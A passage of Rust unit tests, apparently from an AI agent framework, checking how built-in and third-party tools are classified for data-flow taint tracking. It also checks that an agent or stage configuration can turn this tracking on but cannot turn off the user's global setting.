1003            assert_eq!(tc.direction, ToolDirection::Outbound, "{name}");
1004        }
1005    }
1006
1007    /// The environment tools bring facts about the host in and send nothing
1008    /// out, so none of them is a channel the gate needs to watch. Getting this
1009    /// wrong is silent: the `_` fallback is outbound, so an unclassified
1010    /// environment tool would be gated in every taint-tracking run, and asking
1011    /// what day it is would raise a leak prompt.
1012    #[test]
1013    fn environment_tools_are_inbound_and_never_gated() {
1014        for name in [
1015            "current_time",
1016            "system_info",
1017            "locale_info",
1018            "environment_info",
1019            "which_command",
1020            "runtime_info",
1021        ] {
1022            let tc = builtin_tool_classification(name);
1023            assert_eq!(tc.direction, ToolDirection::Inbound, "{name}");
1024            // Inbound tools are not gated at all, whatever the context holds.
1025            assert_eq!(tc.clearance, TaintLevel::Public, "{name}");
1026        }
1027    }
1028
1029    /// The date and the user's language are not secrets; the machine's name,
1030    /// its directory layout, its installed software and the run's own
1031    /// configuration are not for publishing. The split matters because the
1032    /// sensitivity is what an *outbound* tool later has to be cleared for.
1033    #[test]
1034    fn environment_tools_are_graded_by_what_they_reveal() {
1035        for name in ["current_time", "locale_info"] {
1036            assert_eq!(
1037                builtin_tool_classification(name).sensitivity,
1038                TaintLevel::Public,
1039                "{name}"
1040            );
1041        }
1042        for name in [
1043            "system_info",
1044            "environment_info",
1045            "which_command",
1046            "runtime_info",
1047        ] {
1048            assert_eq!(
1049                builtin_tool_classification(name).sensitivity,
1050                TaintLevel::Internal,
1051                "{name}"
1052            );
1053        }
1054    }
1055
1056    #[test]
1057    fn builtin_ask_user_classification() {
1058        for name in [
1059            "ask_user_text",
1060            "ask_user_choice",
1061            "ask_user_confirm",
1062            "present_for_review",
1063        ] {
1064            let tc = builtin_tool_classification(name);
1065            assert_eq!(tc.direction, ToolDirection::Internal);
1066        }
1067    }
1068
1069    #[test]
1070    fn builtin_subagent_classification() {
1071        for name in [
1072            "spawn_agent",
1073            "check_agent",
1074            "wait_for_agent",
1075            "send_to_agent",
1076            "kill_agent",
1077        ] {
1078            let tc = builtin_tool_classification(name);
1079            assert_eq!(tc.direction, ToolDirection::Internal);
1080        }
1081    }
1082
1083    #[test]
1084    fn builtin_write_file_classification() {
1085        let tc = builtin_tool_classification("write_file");
1086        assert_eq!(tc.direction, ToolDirection::Internal);
1087    }
1088
1089    /// An unknown tool is almost always MCP or a Rhai script - third-party code
1090    /// talking to a third-party service. It fails closed. The old default was
1091    /// internal/internal, which assumed the safest case about the least-known
1092    /// code and left every MCP and script tool ungated.
1093    #[test]
1094    fn unknown_tools_fail_closed_as_outbound() {
1095        let tc = builtin_tool_classification("some_mcp_tool");
1096        assert_eq!(tc.sensitivity, TaintLevel::Public);
1097        assert_eq!(tc.direction, ToolDirection::Outbound);
1098        assert_eq!(tc.clearance, TaintLevel::Public);
1099    }
1100
1101    #[test]
1102    fn builtin_edit_file_classification() {
1103        let tc = builtin_tool_classification("edit_file");
1104        assert_eq!(tc.sensitivity, TaintLevel::Internal);
1105        assert_eq!(tc.direction, ToolDirection::Internal);
1106        assert_eq!(tc.clearance, TaintLevel::Public);
1107    }
1108
1109    #[test]
1110    fn builtin_list_dir_classification() {
1111        let tc = builtin_tool_classification("list_dir");
1112        assert_eq!(tc.sensitivity, TaintLevel::Internal);
1113        assert_eq!(tc.direction, ToolDirection::Inbound);
1114        assert_eq!(tc.clearance, TaintLevel::Public);
1115    }
1116
1117    /// `read_files` is `read_file` over several paths, `fan_out` is many
1118    /// `spawn_agent`s at once, `edit_document` hands a draft to the person
1119    /// the way `present_for_review` does, and the context, todo and submit
1120    /// tools write the run's own state. None had an arm, so each fell to the
1121    /// third-party default and was gated as outbound: with taint tracking on
1122    /// and anything Private in context, reading two files raised a leak
1123    /// prompt while reading one did not.
1124    #[test]
1125    fn the_remaining_builtins_are_classified_like_their_siblings() {
1126        assert_eq!(
1127            classified_builtin("read_files"),
1128            classified_builtin("read_file"),
1129            "read_files"
1130        );
1131        assert_eq!(
1132            classified_builtin("fan_out"),
1133            classified_builtin("spawn_agent"),
1134            "fan_out"
1135        );
1136        assert_eq!(
1137            classified_builtin("edit_document"),
1138            classified_builtin("edit_file"),
1139            "edit_document"
1140        );
1141        for name in [
1142            "context_write",
1143            "context_append",
1144            "context_read",
1145            "context_delete",
1146            "context_list",
1147            "todo_add",
1148            "todo_done",
1149            "todo_note",
1150        ] {
1151            let tc = classified_builtin(name);
1152            assert!(tc.is_some(), "{name} has no arm");
1153            let tc = tc.unwrap();
1154            assert_eq!(tc.direction, ToolDirection::Internal, "{name}");
1155            assert_eq!(tc.sensitivity, TaintLevel::Internal, "{name}");
1156            assert_eq!(tc.clearance, TaintLevel::Public, "{name}");
1157        }
1158    }
1159
1160    /// The submitted answer is the one thing a run hands to whoever asked
1161    /// for it, and over `lev serve` that reader is not on this machine. So
1162    /// `submit_output` is an outbound channel with Public clearance, the
1163    /// shape `shell` has, not the internal one the context tools share.
1164    #[test]
1165    fn submit_output_is_an_outbound_channel() {
1166        assert_eq!(
1167            classified_builtin("submit_output"),
1168            classified_builtin("shell"),
1169            "submit_output"
1170        );
1171    }
1172
1173    /// The split exists so a caller can tell an arm from the default.
1174    #[test]
1175    fn a_third_party_name_has_no_arm_of_its_own() {
1176        assert_eq!(classified_builtin("some_mcp_tool"), None);
1177        assert_eq!(
1178            classified_builtin("shell"),
1179            Some(builtin_tool_classification("shell"))
1180        );
1181    }
1182
1183    // ─── resolve_taint_enabled / resolve_security cascade ───────────────────
1184
1185    fn sec(taint: bool) -> SecurityConfig {
1186        SecurityConfig {
1187            taint_tracking: taint,
1188        }
1189    }
1190
1191    #[test]
1192    fn resolve_taint_enabled_inherits_global_when_unset() {
1193        assert!(!resolve_taint_enabled(false, None, None));
1194        assert!(resolve_taint_enabled(true, None, None));
1195    }
1196
1197    #[test]
1198    fn resolve_taint_enabled_agent_may_opt_in_but_not_out() {
1199        // Global off, agent opts in - honored, that only tightens.
1200        assert!(resolve_taint_enabled(false, Some(&sec(true)), None));
1201        // Global on, agent tries to opt out - refused. `agent.leviath` is a
1202        // downloaded file; letting it disable the machine's data-flow
1203        // enforcement made taint tracking opt-out-by-installing-an-agent.
1204        assert!(resolve_taint_enabled(true, Some(&sec(false)), None));
1205    }
1206
1207    #[test]
1208    fn resolve_taint_enabled_stage_may_opt_in_but_not_out() {
1209        // Stage opt-in beats agent opt-out and global off.
1210        assert!(resolve_taint_enabled(
1211            false,
1212            Some(&sec(false)),
1213            Some(&sec(true))
1214        ));
1215        // A stage opt-out cannot override the user's global on.
1216        assert!(resolve_taint_enabled(
1217            true,
1218            Some(&sec(true)),
1219            Some(&sec(false))
1220        ));
1221    }
1222
1223    #[test]
1224    fn resolve_batch_tool_hint_cascade() {
1225        // Nothing set at narrower levels → inherit the global toggle (on default).
1226        assert!(resolve_batch_tool_hint(true, None, None));
1227        assert!(!resolve_batch_tool_hint(false, None, None));
1228        // Agent override beats global (both directions).
1229        assert!(!resolve_batch_tool_hint(true, Some(false), None));
1230        assert!(resolve_batch_tool_hint(false, Some(true), None));
1231        // Stage override beats agent and global (both directions).
1232        assert!(!resolve_batch_tool_hint(true, Some(true), Some(false)));
1233        assert!(resolve_batch_tool_hint(false, Some(false), Some(true)));
1234    }
1235
1236    #[test]
1237    fn gate_decision_blocked_levels() {
1238        let blocked = GateDecision::Blocked {
1239            taint_level: TaintLevel::Private,
1240            clearance: TaintLevel::Public,
1241            source_regions: vec![],
1242            tool_name: "shell".into(),
1243        };
1244        assert_eq!(
1245            blocked.blocked_levels(),
1246            Some((TaintLevel::Private, TaintLevel::Public))
1247        );
1248        assert_eq!(GateDecision::Allowed.blocked_levels(), None);
1249    }
1250
1251    #[test]
1252    fn resolve_security_prefers_most_specific_but_clamps_taint() {
1253        // Neither set → default whose taint_tracking follows global.
1254        assert!(resolve_security(true, None, None).taint_tracking);
1255        assert!(!resolve_security(false, None, None).taint_tracking);
1256        // Stage present → wins over agent for opting *in*.
1257        assert!(resolve_security(false, Some(&sec(false)), Some(&sec(true))).taint_tracking);
1258        // An agent opt-out cannot beat the user's global on - `resolve_security`
1259        // agrees with `resolve_taint_enabled` rather than disagreeing with it.
1260        assert!(resolve_security(true, Some(&sec(false)), None).taint_tracking);
1261    }
1262
1263    #[test]
1264    fn test_region_taint_remove_at_recomputes_level() {
1265        let mut rt = RegionTaint::new();
1266        rt.add_entry(TaintLevel::Public);
1267        rt.add_entry(TaintLevel::Private);
1268        rt.add_entry(TaintLevel::Public);
1269        assert_eq!(rt.level(), TaintLevel::Private);
1270
1271        // Removing the Private entry at index 1 recomputes the level down.
1272        rt.remove_at(1);
1273        assert_eq!(rt.entry_count(), 2);
1274        assert_eq!(rt.level(), TaintLevel::Public);
1275
1276        // An out-of-range index is a no-op.
1277        rt.remove_at(99);
1278        assert_eq!(rt.entry_count(), 2);
1279    }
1280}